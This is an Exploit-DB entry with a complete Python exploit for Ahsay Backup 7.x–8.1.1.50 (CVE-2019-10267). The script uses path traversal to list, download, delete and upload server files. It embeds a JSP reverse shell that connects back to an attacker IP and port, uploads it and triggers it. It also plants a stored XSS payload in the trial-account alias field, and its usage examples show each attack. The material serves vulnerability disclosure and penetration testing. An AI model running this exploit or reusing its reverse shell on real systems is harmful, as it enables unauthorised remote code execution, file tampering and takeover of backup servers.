Ahsay Backup 7.x - 8.1.1.50 - Authenticated Arbitrary File Upload / Remote Code Execution

EDB-ID:

47179




Platform:

JSP

Date:

2019-07-26


Become a Certified Penetration Tester

Enroll in Advanced Web Attacks and Exploitation , the course required to become an Offensive Security Web Expert (OSWE)

GET CERTIFIED

# Exploit Title: Authenticated insecure file upload and code execution flaw in Ahsay Backup v7.x - v8.1.1.50. (POC)
# Date: 26-6-2019
# Exploit Author: Wietse Boonstra
# Vendor Homepage: https://ahsay.com
# Software Link: http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe
# Version: 7.x < 8.1.1.50
# Tested on: Windows / Linux
# CVE : CVE-2019-10267


#!/usr/bin/env python3

"""
# Exploit Title: Authenticated insecure file upload and code execution flaw in Ahsay Backup v7.x - v8.1.1.50. 
# Date: 26-6-2019
# Exploit Author: Wietse Boonstra
# Vendor Homepage: https://ahsay.com
# Software Link: http://ahsay-dn.ahsay.com/v8/81150/cbs-win.exe
# Version: 7.x < 8.1.1.50 
# Tested on: Windows / Linux
# CVE : CVE-2019-10267

Session cookies are reflected in the JavaScript url: 

"""

import urllib3
import argparse
import base64
import re
import socket
from urllib.parse import urlencode
import gzip
import json
import hashlib

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def b64(s):
    try:
        return base64.b64encode(bytes(s, 'utf-8')).decode('utf-8')
    except:
        return base64.b64encode(bytes("", 'utf-8')).decode('utf-8')
     
def md5Sum(buf):
    hasher = hashlib.md5()
    hasher.update(buf)
    a = hasher.hexdigest()
    return a

class Exploit():
    def __init__(self, url, username="", password="", proxy="" ):
        self.url = url
        self.username = username
        self.password = password
        self.accountValid = None
        if proxy:
            self.http = urllib3.ProxyManager(proxy)
        else:
            self.http = urllib3.PoolManager()
        
    def fileActions(self, path="../../../../../../", action='list', recurse=False):
        """
        actions: download, list, delete, (upload  different function use self.upload)
        """
        try:
            if not self.checkAccount(self.username,self.password):
                return False
            if recurse:
                recurse = "true"
            else:
                recurse = "false"
            
            headers={
                'X-RSW-Request-1':	'{}'.format(b64(self.password)),
                'X-RSW-Request-0':	'{}'.format(b64(self.username))
            }
            # http = urllib3.ProxyManager("https://localhost:8080")
                
            path = {
                'X-RSW-custom-encode-path':'{}'.format(path),
                'recursive':'{}'.format(recurse)
                }
            path = urlencode(path)
            if action == "delete":
                r = self.http.request('DELETE', '{}/obs/obm7/file/{}?{}'.format(url,action,path),'',headers)
            else:
                r = self.http.request('GET', '{}/obs/obm7/file/{}?{}'.format(url,action,path),'',headers)
            if (r.status == 200):
                if (action == 'list'):
                    result = json.loads(gzip.decompress(r.data))
                    dash = '-' * 50
                    print(dash)
                    print('{:<11}{:<16}{:<20}'.format("Type", "Size","Name"))
                    print(dash)
                    for item in result["children"]:
                        print('{:<11}{:<16}{:<20}'.format(item['fsoType'], item['size'],item['name']))
                    print(dash) 
                else:
                    if action == "delete":
                        print ("File has been deleted")
                    else:
                        return (r.data.decode('utf-8'))
            else:
                print ("Something went wrong!")
                print (r.data)
                print (r.status)
        except Exception as e:
            print (e)
            pass

    def exploit(self, ip, port, uploadPath="../../webapps/cbs/help/en/", reverseShellFileName="test.jsp" ):
        """
        This function will setup the jsp reverse shell
        """
        if not self.checkAccount(self.username, self.password):
            return False

        reverseShell = '''<%@page import="java.lang.*"%>
            <%@page import="java.util.*"%>
            <%@page import="java.io.*"%>
            <%@page import="java.net.*"%>

            <%
            class StreamConnector extends Thread
            {{
                InputStream az;
                OutputStream jk;

                StreamConnector( InputStream az, OutputStream jk )
                {{
                this.az = az;
                this.jk = jk;
                }}

                public void run()
                {{
                BufferedReader vo  = null;
                BufferedWriter ijb = null;
                try
                {{
                    vo  = new BufferedReader( new InputStreamReader( this.az ) );
                    ijb = new BufferedWriter( new OutputStreamWriter( this.jk ) );
                    char buffer[] = new char[8192];
                    int length;
                    while( ( length = vo.read( buffer, 0, buffer.length ) ) > 0 )
                    {{
                    ijb.write( buffer, 0, length );
                    ijb.flush();
                    }}
                }} catch( Exception e ){{}}
                try
                {{
                    if( vo != null )
                    vo.close();
                    if( ijb != null )
                    ijb.close();
                }} catch( Exception e ){{}}
                }}
            }}

            try
            {{
                String ShellPath;
            if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {{
            ShellPath = new String("/bin/sh");
            }} else {{
            ShellPath = new String("cmd.exe");
            }}

                Socket socket = new Socket( "{0}", {1} );
                Process process = Runtime.getRuntime().exec( ShellPath );
                ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
                ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
            }} catch( Exception e ) {{}}
            %>'''.format(str(ip), str(port))

        try:
            if (uploadPath == "../../webapps/cbs/help/en/"):
                callUrl = "{}/{}{}".format(self.url,re.sub("^../../webapps/",'',uploadPath),reverseShellFileName)
            exploitUrl = "{}{}".format(uploadPath,reverseShellFileName)
            print (exploitUrl)
            self.upload(exploitUrl, reverseShell)
            print ("Checking if file is uploaded.")
            
            if (md5Sum(self.fileActions(exploitUrl,'download').encode('utf-8')) == md5Sum(reverseShell.encode('utf-8'))):
                print ("File content is the same, upload OK!")
                print ("Triggering {}".format(callUrl))
                # http = urllib3.ProxyManager("https://localhost:8080")
                r = self.http.request('GET', '{}'.format(callUrl))
                if r.status == 200:
                    print ("Done, Check your netcat listener!")
                return True
            else: 
                return False
        except Exception as e:
            print (e)
            return False

    def upload(self, filePath, fileContent ):
        """
        Needs a valid username and password.
        Needs a filepath + filename to upload to. 
        Needs the file content.
        """

        b64UploadPath = b64("{}".format(filePath))
        try:
            if not self.checkAccount(self.username, self.password):
                return False
            headers={
                'X-RSW-Request-0':	'{}'.format(b64(self.username)),
                'X-RSW-Request-1':	'{}'.format(b64(self.password)),
                'X-RSW-custom-encode-path': '{}'.format(b64UploadPath)
            }
            # http = urllib3.ProxyManager("https://localhost:8080")
            r = self.http.request(
                'PUT', 
                '{}/obs/obm7/file/upload'.format(self.url),
                body=fileContent,
                headers=headers)
            if (r.status == 201):
                print ("File {}".format(r.reason))
            else:
                print ("Something went wrong!")
                print (r.data)
                print (r.status)
        except Exception as e:
            print ("Something went wrong!")
            print (e)
            pass
    
    def checkAccount(self, username, password):
        try:
            headers={
                'X-RSW-custom-encode-password':	'{}'.format(b64(password)),
                'X-RSW-custom-encode-username':	'{}'.format(b64(username))
            }
            # http = urllib3.ProxyManager("https://localhost:8080")
            r = self.http.request('POST', '{}/obs/obm7/user/getUserProfile'.format(url),'',headers)
            if (r.data == b'CLIENT_TYPE_INCORRECT') or (r.status == 200):
                if self.accountValid is None:
                    print ("Account is valid with username: '{}' and password '{}'".format(username, password))
                self.accountValid = True
                return True
            elif (r.data == b'USER_NOT_EXIST'):
                if not self.accountValid is None:
                    print ("Username does not exist!")
                self.accountValid = False
                return False
            elif (r.data == b'PASSWORD_INCORRECT'):
                if self.accountValid is None:
                    print ("Password not correct but username '{}' is".format(username))
                self.accountValid = False
                return False
            else:
                if self.accountValid is None:
                    print ("Something went wrong!")
                self.accountValid = False
                return False
                # print (r.data)
                # print (r.status)
        except Exception as e:
            print (e)
            self.accountValid = False
            return False
            
    def checkTrialAccount(self):
        try:
            # http = urllib3.ProxyManager("https://localhost:8080")
            r = self.http.request('POST', '{}/obs/obm7/user/isTrialEnabled'.format(self.url),'','')
            if (r.status == 200 and r.data == b'ENABLED' ):
                print ("Server ({}) has Trial Account enabled, exploit should work!".format(self.url))
                return True
            else:
                print ("Server ({}) has Trial Account disabled, please use a valid account!".format(self.url))
                return False
        except Exception as e:
            print ("Something went wrong with url {} !".format(self.url))
            print (e)
            return False

    def addTrialAccount(self,alias=""):
        try:
            if not self.checkTrialAccount():
                return False
            
            headers={
                'X-RSW-custom-encode-alias':	'{}'.format(b64(alias)), 
                'X-RSW-custom-encode-password':	'{}'.format(b64(self.password)),
                'X-RSW-custom-encode-username':	'{}'.format(b64(self.username))
            }
            # http = urllib3.ProxyManager("https://localhost:8080")
            r = self.http.request('POST', '{}/obs/obm7/user/addTrialUser'.format(url),'',headers)
            if (r.status == 200):
                print ("Account '{}' created with password '{}'".format(username, password))
            elif (r.data == b'LOGIN_NAME_IS_USED'):
                print ("Username is in use!")
            elif (r.data == b'PWD_COMPLEXITY_FAILURE'):
                print ("Password not complex enough")
            else:
                print ("Something went wrong!")
                print (r.data)
                print (r.status)
        except Exception as e:
            print (e)
            pass


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        __file__,
        description="Exploit for AhsayCBS v6.x < v8.1.1..50",
        usage="""
    Check if Trial account is enabled: %(prog)s --host https://172.16.238.213/ -c
    Create Trial account: %(prog)s --host https://172.16.238.213/ -a -u test01 -p 'Welcome01!'
    Create Trial account with stored XSS: %(prog)s --host https://172.16.238.213/ -a -u test01 -p 'Welcome01!' -x --xssvalue "'><script>alert(1)</script>"
    Delete file: %(prog)s --host https://172.16.238.213/ -u test01 -p Welcome01! --action delete --path ../../../../../../../../test.txt
    List files in dir: %(prog)s --host https://172.16.238.213/ -u test01 -p Welcome01! --action list --path ../../../../../../../../
    Upload a file: %(prog)s --host https://172.16.238.213/ -u test01 -p Welcome01! --action upload --localfile test.txt --path ../../../../../../../../ --filename test.txt
    Upload reverse shell: %(prog)s --host https://172.16.238.213/ -u test01 -p Welcome01! -e --ip 172.16.238.1 --port 4444
        """
        
    )
    manda = parser.add_argument_group("Mandatory options")
    manda.add_argument("--host",
        help="Url of AhsayCBS server",
        # required=True
    )
    check = parser.add_argument_group("Check options")
    check.add_argument("-c", "--check",
        help="Check if host is vulnerable",
        action="store_true"
    )
    
    add = parser.add_argument_group("Add account options")
    add.add_argument("-a","--add",
        help="Add trial account",
        action="store_true"
    )
    add.add_argument("-u","--username",
        help="username to create"
    )
    add.add_argument("-p","--password",
        help="Password to create"
    )

    exploit = parser.add_argument_group("Exploit options")
    exploit.add_argument("-e", "--exploit",
        help="Run reverse shell exploit",
        action="store_true"
    )
    exploit.add_argument("--ip",
        help="Set the attackers IP",
        default="127.0.0.1"
    )
    exploit.add_argument("--port",
        help="Set the attackers port",
        default="4444"
    )

    #Optional
    xss = parser.add_argument_group("XSS")
    xss.add_argument("-x","--xss",
        help="Use XSS in alias field.",
        action="store_true",
        default=False
    )
    xss.add_argument("--xssvalue",
        help="Custom XSS value (must start with '>)",
        default="'><script>alert(1)</script>",
        required=False
    )
    

    # list files
    fileaction = parser.add_argument_group("File actions", "We can control the files on the server with 4 actions: list content of directory, download file (read), write file (upload) and delete file." )

    fileaction.add_argument("--action",
        help="use: delete, upload, download or list",
        default="list"
    )
    fileaction.add_argument("--localfile",
        help="Upload a local file"
    )
    fileaction.add_argument("--filename",
        help="Filename on the server"
    )
    fileaction.add_argument("--path",
        help="Directory on server use ../../../",
        default="/"
    )

    fileaction.add_argument("--recursive",
        help="Recurse actions list and delete",
        action="store_true",
        default=False
    )

    try:
        args = parser.parse_args()
        if args.add and (args.username is None or args.password is None):
            parser.error("The option --add / -a requires: --username and --password")
        if args.exploit and (args.username is None or args.password is None or args.ip is None or args.port is None):
            parser.error("The option -e / --exploit requires: --username, --password, --ip and --port")
        # if not (args.host or args.r7):
        if not (args.host):
            parser.error("The option --host requires: -a, -c, -e or -f")
        else:
            
            url = args.host
            url = url.rstrip('/')
            username = args.username
            password = args.password
            e = Exploit(url,username,password,"http://localhost:8080")
            if args.check:
                e.checkTrialAccount()
            elif args.add:
                if args.xss and (args.xssvalue is None):
                    parser.error("The option -x / --xss requires: --xssvalue")
                if args.xssvalue:
                    alias = args.xssvalue
                e.addTrialAccount(alias)
            elif args.exploit:
                print ("Exploiting please start a netcat listener on {}:{}".format(args.ip,args.port))
                input("Press Enter to continue...")
                e.exploit(args.ip, args.port,"../../webapps/cbs/help/en/","SystemSettings_License_Redirector_AHSAY.jsp")
            elif args.action != "upload":
                e.fileActions(args.path,args.action,args.recursive)
            elif args.action == "upload":
                if args.localfile is not None:
                    f = open(args.localfile, "r")
                    fileContent = f.read()
                    e.upload("{}{}".format(args.path,args.filename),fileContent)
                else:
                    parser.error("The option --upload must contain path to local file")
            
    except Exception as e:
        print (e)
        pass